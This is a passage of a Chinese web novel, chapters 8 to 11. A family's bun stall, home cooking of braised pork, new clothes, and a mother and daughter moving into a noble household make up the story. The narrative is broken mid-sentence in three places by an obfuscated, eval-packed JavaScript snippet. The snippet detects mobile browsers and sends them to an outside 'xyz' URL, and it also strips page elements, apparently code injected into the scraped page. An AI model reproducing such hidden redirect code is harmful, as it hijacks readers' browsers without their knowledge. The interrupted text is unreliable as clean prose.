面摊老板看过去，这么小还一个人来吃饭，他微微弯下腰，“小姑娘，要煎蛋还是茶叶蛋呢？” 8. 第八章 想吃肉 说实话，这两个崔如英都想吃，但是囊中羞涩，纠结了一番说道：“煎蛋吧。” 煎蛋跟阳春面配，茶叶蛋跟板面比较配。 这阳春面摊开了好几年了，煮面用的是骨头汤，面碗里放着葱花盐酱油，还有一小块白花花，亮晶晶的猪油。 面是拉的细面丝，煮好之后堆在碗里，然后浇一勺骨头汤，撒点葱花。煎蛋是用旁边锅煎的，颜色金黄，把煎好的蛋往面上一卧，这阳春面就做好了。 崔如英拿筷子拌了拌，又低头闻了闻，真香。 骨头汤和猪油弄得汤面，能不香吗。 崔如英把煎蛋往汤里泡了泡，先吃了口面，崔家很少吃汤面，这一口，面滑劲道，还有嚼劲儿。 煎蛋崔如英也咬了口，吸了汤汁，带着猪油和鸡蛋的香味儿。 一碗面吃的肚子溜圆，等吃完面回去，许娘子包子也快卖完了，剩两个打算拿回去给孩子吃。 母女俩把空的竹屉放到车上，又绑好绳子，许娘子像来时一样让崔如英上车上坐下来，她给推回去。 崔如英摇了摇头，“娘我吃饱了，得走一会儿。” 可不是心疼许娘子一个人推不动。 听女儿吃饱了，许娘子笑了笑，“喜欢吃明儿还吃。” 一大早起来忙碌劳累，又站了一个多时辰卖包子，许娘子这会儿还没吃饭呢。饥肠辘辘，手脚也酸软，可看着崔如英蹦蹦跳跳的，她感觉好像没那么累了。 崔如英道：“明儿吃啥再说，娘，我现在还不饿。” 许娘子笑了笑，“那中午可说好了，吃红薯。” 今天蒸了十屉包子，听崔大山说后面那一锅包子就两屉，怕废柴火，就把家里的红薯也蒸了，他和崔大郎一人拿了两个，中午吃。 崔如英：“行，吃红薯也行。” 包子卖的就剩两个，钱匣子的底都满了，不过许娘子依旧省着花。 太阳升起，没抹黑出来是那么冷，许娘子心里有奔头。 把车推回巷子里，各家各户都开了门，不过时辰还早，还没啥人出来说话。 许娘子也不怕人看见，街上人来人往的，再过几天都该知道崔家去卖包子做生意了，她本本分分赚钱，没偷没抢，有啥可怕的。 相反，她还因为赚了钱，腰杆子直了点。 谁再说把六丫送走的。 到了家，许娘子先把车上的东西给卸下来，竹屉要刷干净，锅、活馅儿的大盆，还有菜刀……这些都要洗，还得忙活好一阵呢。 做吃食得干净，许娘子也希望别人能吃得放心。 再说了，她还想把生意长久地做下去，哪怕没读过书，不认识几个大字，许娘子也知道，做生意要踏实，不能三天打鱼两天晒网。 崔如英把钱匣子抱到屋里去，她感觉钱匣子沉甸甸的，今儿蒸了十屉，一屉就算十七个的话，那也卖了三百多文钱呢。 利润占一大半，估计能有二百来文。 好是好，只不过做生意起早贪黑，风里来雨里去，头一天崔如英还兴致勃勃，都没用许娘子喊自己就醒了，这才第二天，她就起不来了。 而且这两天天气好，要是等下雨了，估计街上没人出摊。 每天摆摊不是长久之计，虽然也赚钱，可不能安于现状，接下来就得攒钱盘铺子。 小摊子卖包子顶天了，但铺子不一样。 不过许娘子和崔大山很满意现在的日子，再来两日，就能抵上崔大山一个月在木匠坊赚的钱了，小门小户，市井人家，能赚这么多钱其实已经很不错了。 崔如英把钱匣子放床上，就去自己小屋往床上一躺。 腿酸，胳膊累，还是躺着舒服。 晨起风吹着，吹得崔如英昏昏欲睡。 二丫在看着妹妹，四郎五郎早起吃了红薯就去地里抓虫子了，一人背了一个好大的竹篓。 钱匣子就在床上，二丫好奇赚了多少钱，但也没多看。 过了一会儿，许娘子快步进来，她差点把钱给忘了。 家里人她倒不担心，几个孩子都是手脚干净的人，就怕一会儿有人来串门子，一进屋看着这么摆大个钱匣子。 钱匣子就在床上，许娘子道：“你俩也不知道给放柜子里。” 二丫：“三丫放的。” 崔如英不困了，她从床上起来，“娘，我等着你数钱呢。” 许娘子又笑着问她，“你估摸着今儿能有多少钱？” 崔如英道：“三百四十文吧。” 许娘子道：“娘数数。” 许娘子突然记起那晚也数钱来着，家里四百二十个铜板，半块碎银子，翻来覆去数了好几遍也没多几个。 加一块还不足一两呢。 那时一边数一边发愁，听着叮叮当的响声，心也凉了半截。 可这两回不一样，数一个心里就高兴一分。 许娘子数钱，崔如英和二丫就在旁边看着，一个两个，十五二十，许娘子有时候数串了，崔如英就提一句，“娘，到一百三十二了。” 许娘子恍然，继续往下数，“一百三十二……二百三十二……三百三十二……” 许娘子一直数到了三百四十四。 大约是有几笼包子放了十八个。 今儿用了五斤肉，差不多十斤面。 算上别的零零散散的差不多花了一百二十文，赚的有二百来文呢。 许娘子数一百个铜板就串成一串，这样整整齐齐躺在钱匣子里还怪喜人的。 这钱还得分出来一些买明日包包子的面，今儿还能把布扯了，至于吃肉，许娘子依旧精打细算，不是还带回来两个肉包子吗。 前几天刚吃的肉包子，还想吃啥肉。 这算着今天的，家里还有二两半银子，七百来文钱，不少了。等她去侯府，每月还能拿三两月钱呢。 许娘子打算看看过些日子能赚多少，到时候给家里留点周转应急，然后进侯府也带点儿，剩下的就藏起来。 二丫痴痴道：“娘，好多钱。” 许娘子笑着说：“娘也没想过有这么多钱。” 能早一点做这个就好了，不过现在也不晚，许娘子心里又起了一股劲儿，她把钱匣子锁在柜子里，“二丫你看着六丫，三丫你再睡会儿，娘去把蒸屉刷了。” 崔如英又睡了一觉。 吃了阳春面，肚子饱饱的还暖和，这一觉直接睡到中午吃饭。 中午家里吃的蒸红薯，每天都有大骨头炖菜，头一回吃倒也还好，有肉味就不错了，但是天天吃，崔如英姐觉得，一碗阳春面对不起她这么早起来。 谁能天天吃白菜呀，好吃的东西还不能天天吃呢，更何况吃白菜。 崔如英费力地咽着红薯，问许娘子：“娘，咱们明天蒸多少包子？” 说实话，许娘子觉得这样也就够了。若是天天都能有二百文钱赚，那一个月就有五六两银子，不过天气不好不出摊，就赚不了这么多。 她也是没想过一个个小商贩，穿的普普通通，却能赚这么钱。 盛京城有钱的人还是多。 许娘子本分惯了，今天能做多蒸两屉已实属不易，再多她怕卖不出去，“还这么多吧。” 崔如英道：“娘要不再来两屉吧，我跟二丫包，赚的钱给个十几文，咱明天家里中午吃顿肉吧，剩下的我俩也不要。” 崔二丫：“娘，我也能包。” 她想帮忙包包子，吃肉倒是其次。 许娘子道：“这不刚吃的肉包子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660120|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上让你吃肉包子你不吃。” 崔如英觉得红薯噎人，“我想吃大米饭和炖肉，娘，咱们都是一回蒸四屉包子，两屉多费柴火呀。” 许娘子没立刻答应，她道：“行了行了先吃饭……” 吃过饭，许娘子对两个女儿道：“咱们看明天生意咋样，要是阴天下雨出不了摊，那就不吃肉，要是能出摊，包子全给卖出去，咱们就吃。” 崔如英道：“娘你真好，你就是天底下最好的娘。明天都不用娘动手，我跟二姐就能把饭给做好，到时候叫大哥跟爹也回来吃。娘，你真是好娘！我这就去喂小鸡！” 许娘子瞪了崔如英一眼，“就你话多。” 崔如英才不害怕呢，反正她想吃肉，也赚钱了，家里孩子嘴馋想吃个肉怎么了？ 不然起早贪黑赚钱为了什么，就给崔大郎娶媳妇啊？ 二丫也高兴，那这么说她不是也能包包子了吗？包包子能赚钱能帮衬家里。 下午崔如英觉都没睡，隔一会儿就看看小鸡，又看看外面太阳高挂，没啥云彩，这才放心回屋。 许娘子不知何时扯了布回来，在院子里给崔大郎和崔如英做衣裳。去侯府要带的东西还不少呢，吃住都在那边，也给家里省钱了。 到时被子就带家里吧，她拆洗拆洗，就不做新的了。 崔如英今天最害怕的就是听到打雷声，幸好下午晚上啥事没有。 第二天一大早，崔如英是在家里人的说话声中醒的，也许是一日比一日天长，外面虽然黑，可也能看见宅院的轮廓。 崔大山已经把包子装好了，今天没用崔如英调馅儿。 崔如英揉揉眼睛，伸手的时候碰见一个软绵绵热乎乎的，吓得坐起来，一看，六丫在她旁边睡得正香。 正懵着，二丫从外头进来，“三丫，起来卖包子去了。” 她包了好多包子呢。 说着把六丫抱走。 崔如英晃了晃脑袋，对了，今天能买肉去。 卖包子是一天比一天容易，积累了两天回头客，都不怎么用崔如英吆喝，包子就能卖出去。 崔如英还借口肚子饿，尝了半个，她原本担心她不做馅儿，味道跟以前不一样，好在许娘子靠谱，味道没啥差别。 隔几天再吃还挺好吃的。 许娘子今天也能笑呵呵的跟人打招呼，比方说让人下次还来，慢点走，小心烫。带崔如英过来，倒像是壮胆儿的。 十二屉包子卖得比平日久，因为说好了要吃肉，许娘子等到最后一个卖完才回去。 崔如英今天也没喊去吃早饭，把剩下的半个包子啃了，“娘，快给钱，我去买肉。” 一家人配着菜怎么也得两三斤肉，一斤瘦肉九文钱，许娘子数了二十七个铜板，崔如英却摇摇头说不够，“娘，今天尝尝五花肉吧，那个肉肥，香。” 崔如英仰着头冲许娘子笑，露了好几颗牙。 她总刷牙，牙比家里人白，长得又好看，许娘子也不忍心拒绝的。 五花肉做红烧肉吃，也做咸口的，家里不是还有鸡蛋吗，煮了放进去一起炖。 最好呀把五花肉的肥油都炖出来，剩下的肉汤炖粉条吃，肯定比骨头炖着吃好吃。 想着女儿今天也没张罗要去吃早饭，干活也卖力，许娘子又数了九个铜板出来。“好好拿着，可别弄丢了。” 家里人多嘴多，想吃一顿肉，就得花不少钱。 要是没来卖包子，无论如何许娘子也舍不得。 崔如英跑得飞快，肉摊上摆着好多肉，排骨梅花前腿后腿，崔如英问：“大叔今天五花肉多少钱一斤？” “还是十二文。” 崔如英问：“买多能不能便宜点儿？我家常来，我要三斤呢！” 9. 第九章 新衣裳 老板麻溜切肉，“小本生意，不过我家这称准得很呢，你看，高高的，再给你搭两根骨头吧。” 这样也行，给了钱接了肉，崔如英一手提一样，飞快朝着家跑。 许娘子先推车回家，崔如英一路跑，跑到一半把许娘子给超了。 许娘子让崔如英跑慢点，“肉又没长腿，你跑那么快作什么？放车上，也不嫌沉。” 崔如英着急呀，这都什么时辰了，本来今天就收摊晚，这肉又切又焯又炖，得好大一会儿呢，她能不着急吗？ “一点都不沉！” 很快，声音都跑到崔如英身后了。 许娘子是发现了，三丫平日懒，但自己上心的事，不怕麻烦不怕累的。 一路跑回家，二丫看着崔如英手上的肉问：“咋这多肉，娘呢？” 崔如英：“后头后头。” 二丫回屋把六丫左右用被子和枕头给挡上，就去接许娘子了，许娘子也推着车到门口了，二丫就在院子里帮忙卸车搬东西了。 蒸屉空空，包子都卖出去了，今儿她还帮忙了，这里面也有她的一份功劳。 许娘子还要刷竹屉，她让崔如英等她来炖肉，“你别瞎忙活！” 崔如英道：“娘，你就看我弄的包子馅儿那么好吃，就知道炖的肉不会差了。再说你可以让二姐看着我，要是瞎弄，她可以去跟你告状。” 许娘子炖的肉可难吃了，和崔大山炖鸡汤异曲同工，炖出来的汤多，瘦肉干柴，肥肉还有些腻。 这可是三斤上好的五花肉，崔如英可不想糟蹋了。 崔二丫低着头道：“谁稀罕告状了……” 许娘子眉头一皱，“二丫，你看着你妹去。” 崔如英已经开始翻箱倒柜找调料了。 家里还有一些陈年旧香料，花椒八角，崔如英还找到了桂皮香叶，也不知哪年买的，但看着没发霉，应该还能用。 糖罐里还剩一点糖，正好够炒糖色，崔如英扯着嗓子喊，“娘，糖该买了。” 许娘子没理，崔如英也没在意，她把这些东西都洗干净，这就算齐活了。 二丫在旁边盯着，崔如英支使她切肉烧水，“二姐你把肉切成这么大的小块儿，再给我烧一锅水。” 想吃肉得干活，二丫点点头，肉切好之后，崔如英就开始烧水焯肉了，家里没料酒，崔大山也不喝，所以崔如英多放了小葱。 东西不全，步骤能省则省，好在肉还算新鲜，把里面的血水一焯，崔如英又踩着凳子把锅刷了。 家里的大锅最不好刷，舀水进去，涮干净再把水舀出来才行，来回几次，锅才刷干净。 许娘子喜欢炖肥肉，是觉得许久不吃肉，肥肉吃着香，可崔如英更喜欢吃肥而不腻的。所以要把里面的猪油煎出来，这样才不会那么腻人。 煎好之后，把肉盛出来，煎出来的油也不少，可以留着以后炒菜吃。 过日子就得精打细算。 锅里留一点油炒糖色，一锅底猪油，一罐子底白糖。灶膛下面柴火噼里啪啦的，白糖在锅底慢慢融化，从细砂变成糖水又变成焦褐色的糖浆。 崔如英这才把五花肉块儿给倒进去，三斤肉，切成小块也有半锅，这样看着一点都不少。 煎的金黄的肉慢慢裹上焦褐色的糖色，明明还没熟，但看着已经很有食欲了。 崔如英费劲的拿着铲子翻肉，二丫看着，默不作声地把铲子接了过去，等翻得差不多了，她问道：“然后呢？” 崔如英：“得倒热水。” 二丫力气比崔如英大，她去提炉子上烧的热水，哗啦一声全给倒锅里，热水溅到锅边，热气一下子全从锅里冒出来了。 厨房水汽烟雾绕在一起，崔如英咳了好几声。 二丫看着水上飘着油花和褐色，又见崔如英往里放东西，家里的盐大酱八角桂皮有什么放什么，葱是最多的，跟许娘子炖肉是不太一样，“三丫，然后呢？” 下面火烧得旺，因为是开水没一会儿锅又开了。 崔如英舔舔嘴唇，“然后等着就行了。” 二丫好像能闻到一点香味儿了。 崔如英又去烧水煮鸡蛋。 家里还有六个鸡蛋，崔如英谨慎地拿了四个，再多怕许娘子骂她。 这个时代没有高压锅，想要把肉炖得软烂，就等小火慢炖，幸好崔大山是做木匠的，不用担心废柴火。 许娘子中间还进来一回，看着像模像样没吭声又出去了。 她在井边吭哧吭哧地刷着竹屉，而屋里鸡蛋已经煮熟了。 剥了皮，崔如英又把煮好的鸡蛋放了进去，这肯定比茶叶蛋还香还好吃。 煮了一会儿，四郎五郎也回来了，讨好地往崔如英身边凑，“三姐，你看我俩抓了好多虫子和蚂蚱！” 今天比哪天都卖力，崔大山扎的竹篓子，几乎满了。 崔如英最怕虫子，看了一眼头发都要竖起来了，“你快把这个拿远点儿！” 四郎把竹篓放外面，“坏虫子吓我三姐，姐你看我已经拿出去了，姐，你炖肉呐。” 早知道家里要炖肉，不然也不会这么早回来，今儿可不用闻别人家的肉香了。 崔如英道：“还没好，先喂鸡去。” 四郎：“我这就去，再让我看一眼。” 二丫看看崔如英，崔如英也看看二丫，二丫摸摸脸，“看我干啥？” 崔如英道：“姐，不蒸米饭，那咱们中午吃什么？” 二丫拍了自己大腿，光守着锅，把米饭的事都给忘了。大锅占着，得用炉子蒸，家里人多，要是蒸白米饭，得下去好多米，所以向来是一半小米一半大米这样掺着吃。 也香，而且不那么扎人。 崔如英不管蒸米饭的事儿，专心添火，偶尔揭开锅盖看看，看着一块块五花肉在汤里沉沉浮浮，心里莫名满足。 若是许娘子只知道给崔大郎攒钱盖房子娶媳妇，她才不会帮着赚钱。 她又不傻。 一个上午，四郎进出四遍，许娘子进来看了两遍，还有人来串门，正巧许娘子在外面做衣裳，都没请人进屋坐。 到中午，天更暖和了，崔如英守在锅旁边，脸上已经出了不少汗。 再揭开锅时，汤已经少了一些，五花肉被炖得小了一圈儿，肉皮呈红褐色，晶莹剔透，肥肉不是那种肉白色，反而透着莹润的油光。 崔如英咽了咽口水，从回来到现在日头高挂，都炖了这么久，应该差不多了，她道：“我先尝一块。” 舀了一块肉出来，崔如英猛吹几口，顾不得烫，先咬的肉皮。 肉皮肥而不腻，软绵绵的直粘牙。没错，她想吃的就是这样的，虽然差了点香辛味，可肉香味儿很重。 咸味恰到好处，五花肥瘦相间，瘦肉已经软了，就靠中间的肥肉黏着，软而不散，不愧是一点柴火一点柴火添着烧出来的。 二丫吸着鼻子，好奇地问：“咋样？” 崔如英：“没尝出来，我再尝一块儿。” 颤颤巍巍的红烧肉，要是配着白米饭肯定更香。 第二块吃完，崔如英中肯道：“还行。” 二丫也想尝尝，可是没那个胆子。 四郎跟五郎在门外眼巴巴看着，崔如英又舀了一块，一分为三，一口塞二丫嘴里，另外两口给两个弟弟分着吃了。 就一小口，是真没尝出味儿来，可舌尖的味道还留着，哪里还行，分明是好香。 崔如英道：“行了，四郎过来烧火，烧旺一点儿，还得收收汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660121|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 许娘子做菜喜欢多留些汤，这样还能炖菜，只不过要想肉好吃，汤就不能多。 直接吃咸淡差不多，但还有米饭呢。 收了汤肉才能更入味，汤汁也更粘稠，到时候想炖菜再加水就行了，反正蒸出去的多是水。 这是崔如英等了一个下午加一个晚上和一个上午的红烧肉，整整一天，终于吃上了。 二丫焖了一大锅饭，今儿就这一锅肉，都没做别的菜。 临近正午，崔大山和崔大郎从外面回来，俩人身上都是木屑，去井边洗了洗才进屋。 许娘子揭开锅盖看了看，能不能吃，光看也能看出来。一锅肉没糊锅，闻着还怪香的。 崔如英催二丫去盛饭，二丫偷偷对许娘子说：“娘，这肉好吃。” 许娘子能说什么，“知道了，赶紧收拾收拾开饭了。” 崔大山一脸笑，早上说吃肉，中午就真有肉吃。他看锅里全是肉，四个圆滚滚的好像是鸡蛋，连个菜都没有 六丫还喝奶呢，五郎不大，也吃不了太多，他和许娘子少吃点儿，够孩子们可劲儿吃了。 许娘子弯着腰盛肉，把一盆肉都端上了桌，崔如英已经坐在椅子上等好了。二丫给她盛的饭，白米饭还多点。 等许娘子说句快吃吧，崔如英也没等着别人，先往碗里夹了两块红烧肉，又舀了勺肉汤，就这样平铺在饭上，筷子拌了拌，往嘴里扒了一大口，这一口是真香。 不是肉包子的味道，也不像阳春面和油条豆浆的热乎和满足，这是实打实的一块肉，肥瘦相间的香气直接拌着米饭吃到嘴里，让崔如英顾不得别的。 许娘子尝了尝女儿的手艺，神色微愣，是好吃。 比她炖的好吃多了，别看三丫不爱干活，总往外面跑，可也有往外跑的好处。 崔如英这顿是吃的心满意足，肉吃完了就夹，盆里还有呢，至于别人舍不得吃，她就不管了。 人多不敢伸筷子，那就什么都吃不到。 鸡蛋也香香的，若是有个馒头，把肉和鸡蛋夹里面，肯定更好吃。 一顿饭吃完，五郎脑仁晕乎乎的，困得直接去睡觉了。崔如英感觉吃完脑袋发重，毕竟卖了包子看了一上午的锅，也坚持不住回屋了。 还剩一点肉和肉汤，许娘子收拾出来放在碗柜里，明儿放点白菜，炖着吃。 至于空了的糖罐子和少了的香料，许娘子想着中午的肉味儿，咬咬牙，不计较了。 父子俩还得上工，不过许娘子把崔大山叫住，“你试试衣裳，还合身不，不成下午我改改。” 崔大山：“这么快就做好了？” 许娘子道：“又不费事儿。” 崔大山去试了试，腰间有些肥，不过不妨事，“正正好，面等我下工了再买，怪沉的。” 许娘子道：“也成。” 一个下午，许娘子就给崔如英做衣裳，本来差不多了，就等崔如英醒了试试合不合身，但她想起那日去侯府，一个丫鬟穿的都比自己女儿好看。 三丫才七岁，也爱漂亮。 许娘子又把袖子套在最小的绣棚上，绣了几朵淡黄色的小花。 也春天了，女孩子家，还是得好看点儿。 许娘子把两个袖子都绣好，然后叠起来放到崔如英小床边。 崔如英睡得很香，许娘子看着女儿想，这包包子崔大山现在也能做的差不多，再有几日熟悉，卖包子的事儿就交给崔大山。 她和三丫也该收拾收拾去侯府了。 * 崔如英醒的时候伸手摸了摸，她怕六丫又在她床上，谁知道没摸到人，却摸到了新衣裳。 许娘子给她做的新衣是淡绿色的，颜色很是清亮，抖开一看，袖口上还有几朵小黄花。 10. 第十章 去侯府 崔如英醒的时候伸手摸了摸，她怕六丫又在她床上，谁知道没摸到人，却摸到了新衣裳。 许娘子给她做的新衣是淡绿色的，颜色很是清亮，抖开一看，袖口上还有几朵小黄花。 因为上头有个姐姐，崔如英长这么大，都是穿二丫的旧衣服。 刚出生时家里还算有点钱，可是那会儿豆丁大，等长大了，家里就越来越穷了。 不过许娘子手艺好，她对衣裳也没那么多要求，穿旧的就穿旧的吧，要不是因为要去侯府了，她还真穿不了新衣。 家里孩子多都是这样过来的，像五郎，现在穿的还是崔大郎小时候的旧衣呢。洗的次数多，也软和舒服。 有新衣自然高兴，况且许娘子还给她衣服上绣了花。 许娘子没说话，许是不在家里。 崔如英二话没说把衣裳给换上，有点大，不过正是长个子的时候，若是不做大些，明年就穿不下了，这么多孩子呢，家里耗不起料子。 换好衣服崔如英就往外跑，许娘子在家门口跟刘婶儿说话，刘婶儿打量了打量崔如英，“哎呀，这是新衣裳吧。” 崔如英笑了笑，“婶子，打我记事儿穿的都是我二姐的旧衣，我娘终于给我做身新衣裳了，婶子你看好看不？” 说着，崔如英还转了一圈儿。 崔如英长得白，总往街上跑也不见黑，大眼睛，樱桃小嘴，鼻子秀气，穿上这么一身淡绿色可不好看极了。 刘婶儿点了点头，“是好看。” 崔如英道：“也是我娘手艺好，看着小花绣的，是吧娘。” 许娘子道：“行了行了，让你看看合不合身，还得洗洗呢。” 崔如英道：“合身，那我回屋换了去。” 许娘子不好意思对刘婶儿一笑，“这孩子，我也没辙。” 说了半天闲话，终于说到正经事儿上了，许娘子道：“家里孩子多，刘姐，过几日我就去侯府了，家里还得托你多照看点。” 刘婶儿道：“成，我再打听打听有没有刚生产的妇人，到时候抱着六丫去喝些奶，有空你再给人家拿些东西，也全了两家的情分，街坊邻居不在乎这些小事。” 许娘子给刘婶儿了两条帕子，她手艺不错，一条帕子能卖两文钱。 刘婶儿把帕子收下，也没问崔家卖包子的事儿，各家的营生，打听那个作什么。 今儿初八了，算着从侯府回来那日，已经过去了四天。 许娘子回屋抱了抱六丫，六丫一日比一日大，性子乖巧听话，也不爱哭闹。 许娘子是真舍不得孩子，她身上掉下来的肉，这么小，若不是为了家里，哪个母亲舍得下孩子。 她有想过，有了卖包子的营生，就算不去侯府做奶娘也能养活一家人，好好做着生意，夫妻俩忙活比一个人忙活强，但再想想一个月三两银算顶天了，这还不算赏钱，比卖包子稳妥。 再说侯府那也得罪不起，她给小公子做奶娘，也是一条门路。 反正一个包子摊崔大山就能忙活过来，她还是去侯府吧，这样也能多攒些银子。 后头这几日都不用崔如英包包子，去卖包子也是在一旁看着，生意稳当了，崔大山就把木匠活给辞了，带着崔大郎一个人买面买肉，有时二丫也早起跟着包包子，崔大山还抽空新做了辆小车，正好能把竹屉卡上，推着也更省劲儿。 除此之外，还做了个刻着崔记酱肉包的木牌子，和招牌差不多，这样客人下次也能找过来。 东西差不多置办齐全了，十二这日崔如英都没去卖包子，十二屉也卖光了。 现在家里的生意已经不用她操心了。 这是好事儿，等她和许娘子去了侯府，家里也能赚钱。 崔如英这两日在收拾东西，衣裳行李，说是跟着许娘子住，倒不知住多久。 也不知那边规矩如何，她手里只有五个铜板，还是每日吃早餐出去买肉“省”下来的，想从许娘子这拿钱难如登天。 别看崔家挺疼孩子的，但是给她拿大笔钱，许娘子可不会干这事儿。 就连许娘子锁着柜子的钥匙崔如英都不知道在哪儿，就算知道也没用，因为许娘子已经趁家里孩子睡觉的时候，把钱匣子藏起来了。 所以想赚钱还是得自己来。 崔如英打算去安定侯府碰碰运气，不成就回家，跟着崔大山卖包子了，还能再往摊子上添点别的小生意。 也快，从初六到今天家里已经卖了七天包子，也赚了些钱， 除了第一天赚了一百六十文，后头的几天每天都能上二百文，十二屉包子都卖光的那几日，一天差不多能有二百五十文。 短短七日，家里已经积攒了一吊钱另六百文，这是崔如英大概估算的，算上家里本来的钱，应该有四两五钱银子。 这些日子还花了不少呢，要不然更多。 虽然许娘子和崔大山都趁孩子们睡着了再说这些，但是崔如英偶尔能听到。 从前抱怨发愁多，现在多是盼头，有了钱，许娘子就想给家里置办些东西，给孩子炒点肉吃。 银子有用，所以崔如英才盼着去侯府。 崔如英的心思许娘子也能察觉出来，她觉得女儿心已经不在家里了，许娘子放心不下。 侯府那是高门大户，是好，可是越是大户人家，里面的腌臜事就越多。 许娘子不放心，十三这晚坐在崔如英床前嘱咐了好些话，“三丫，是三娘子点头让你过去，否则娘肯定不带着你。大户人家好是好，可规矩也多，等咱们到了府中你不许乱跑，更不要乱看乱拿府上的东西。做人别的不说，得有骨气。 还有就是，安定侯府再好那也是别人家，咱们看看也就罢了，断不可生出为奴为婢的念头。你到时就陪三娘子说说话，等着她平安生产，娘照顾好小公子，就算尽了本分。 你不许在侯府乱跑，更不许惹是生非。” 明儿上午就得去侯府，许娘子得嘱咐清楚了。 崔如英看着许娘子，她一脸认真，生怕什么话漏了，更怕崔如英惹事儿，最怕的是她心飞走了，不认这个家。 崔如英道：“娘，你就放心吧，我不会乱走乱跑的，也不会犯错。” 为人母亲自是有操不完的心，许娘子摸了摸崔如英的脑袋：“明一早咱们就过去，你早点睡。” 崔如英道：“娘，要不要带些包子？就算不给陆三娘子，也可以分给别人吃，吃人嘴短，拿人手软。不是说还有一个奶娘的吗，带点东西也好行事儿。” 陆三娘子还未临盆，让许娘子现在就住进去只是随时准备着，这些日子若是许娘子愿意跑，还能回家喂六丫，每日两个时辰，足够来回了。 许娘子还真没想到这个，她点了点头，“成，快睡吧。” 明儿打算等崔大山出摊回来后，推车送她们母女去安定侯府，顺便认个路。 衣裳行李，俩人走着可带不过去。 天是一日比一日暖，崔如英在被子里，觉得暖融融的，已经好几天不吃包子了，明早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660122|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃包子也成。 月亮升起又落下，临近十五，浅蓝色的天空上还悬着月亮，好像缺一小块的玉盘。 崔如英一早起来刷牙梳洗，还换上了新衣，母女俩就等崔大山回来了就去侯府了。 只不过没等到崔大山，却等到了那日送母女俩回来的车夫。 陆三娘子今早想起来许娘子住在城南，还带着女儿，就让车夫来接一趟，头一回过来想来肯定有行李，城南到城北这么远呢，有辆车方便些。 许娘子受宠若惊，这崔如英让准备的包子就派上了用场。 许娘子给递了两个大包子，“大哥先坐一会儿，喝口热水，我们把东西弄上去就是。” 这么早过来车夫的确什么都没吃，有个包子委实是恰到好处了。 日后要是有来城南的事，可以问问用不用捎带东西。 马上就走了，许娘子又回屋看了眼六丫，一个多月的孩子，母女分别最是难受，可是也没办法，就看晚上能不能回来一趟再喂一喂。 搬好东西上了车，许娘子嘱咐二丫要照顾好妹妹，这才坐上马车前往安定侯府。 许娘子发现，带着崔如英来也有好处，若是她自己，这会儿指定得想孩子想得直哭，可崔如英在这儿，便哭不出来了。 女儿在，多了个伴儿。 崔如英看看这儿看看那儿的，穿过闹街，还给许娘子指了指崔大山和崔大郎。 两人做生意没有崔如英那么圆滑，但是本分做事儿，包子馅料也足，所以一直以来生意都不错。 只不过崔大山崔大郎忙着给人装包子，也没看见这边，许娘子把帘子放一下，让崔如英好好坐着。 坐着坐着，崔如英道：“娘，咱家有一日也要买马车。” 有个车真好。 崔家如今住着的房子当年五十多两买的，那还是攒了好几年才攒下来，买一辆马车要一百多两，许娘子都想不到家里赚一百多两是啥样。 那腰杆子，不得溜直。 许娘子笑了笑，没把这话当回事儿。马车走得很平稳，走路要半个多时辰，但坐上车一刻钟多就到了。 车是从侧门进去的，李嬷嬷在侧门守着，身边还跟着两个小厮。 二话没说，就帮着搬东西。 李嬷嬷走在前头，带人去燕归堂。 一边走，她一边对二人道：“许娘子和小娘子也住在燕归堂，屋子已经收拾好了，还有一位陈娘子，已经到了，你们就和她住在同一间厢房。” 两个奶娘住在一起也方便照应，到时陆三娘子生了孩子，俩人都要去小公子屋里照顾，在自己屋里没多长时间。 李嬷嬷在前头带路，许娘子一边听一边点着头，这说的都是规矩。 从侧门进去就是马房，过了马房，李嬷嬷一边走一边介绍，“前头是大房住的燕宁堂，往后走是二房的燕辉堂，再后头才是燕归堂。” 崔如英想，这话的深意是，别乱走。 燕归堂就是崔如英和许娘子上次来的院子，过去几日，院子里草木更加葱郁，院子门口站着两个婆子。 进去之后，崔如英发现，上次说话的地方是正厅，从侧边穿过正厅后，是个三进三出的院子。 影壁幽幽，青瓦白墙，窗扇大开，许娘子和崔如英就跟着李嬷嬷去了侧边的一间厢房。 进了厢房，迎面是张床，床边有柜子桌子，然后就是张木制屏风。 从里面出来一个微胖妇人，“这就是许娘子吧，我听李嬷嬷说过。” 11. 第十一章 初到侯府 陈娘子人微胖，头发用布巾包着，簪着根银钗子，手腕戴着对银镯，真个个人干净齐整，能看出是个做事爽利之人。 至于性子如何，还得相处过后才知道。 崔如英发现虽是一屋住俩人，可是两张床中间用屏风隔着，看起来也像两间屋子，陈娘子来的早些，挑了靠里面的，比外面的人来人往总被看见的好些。 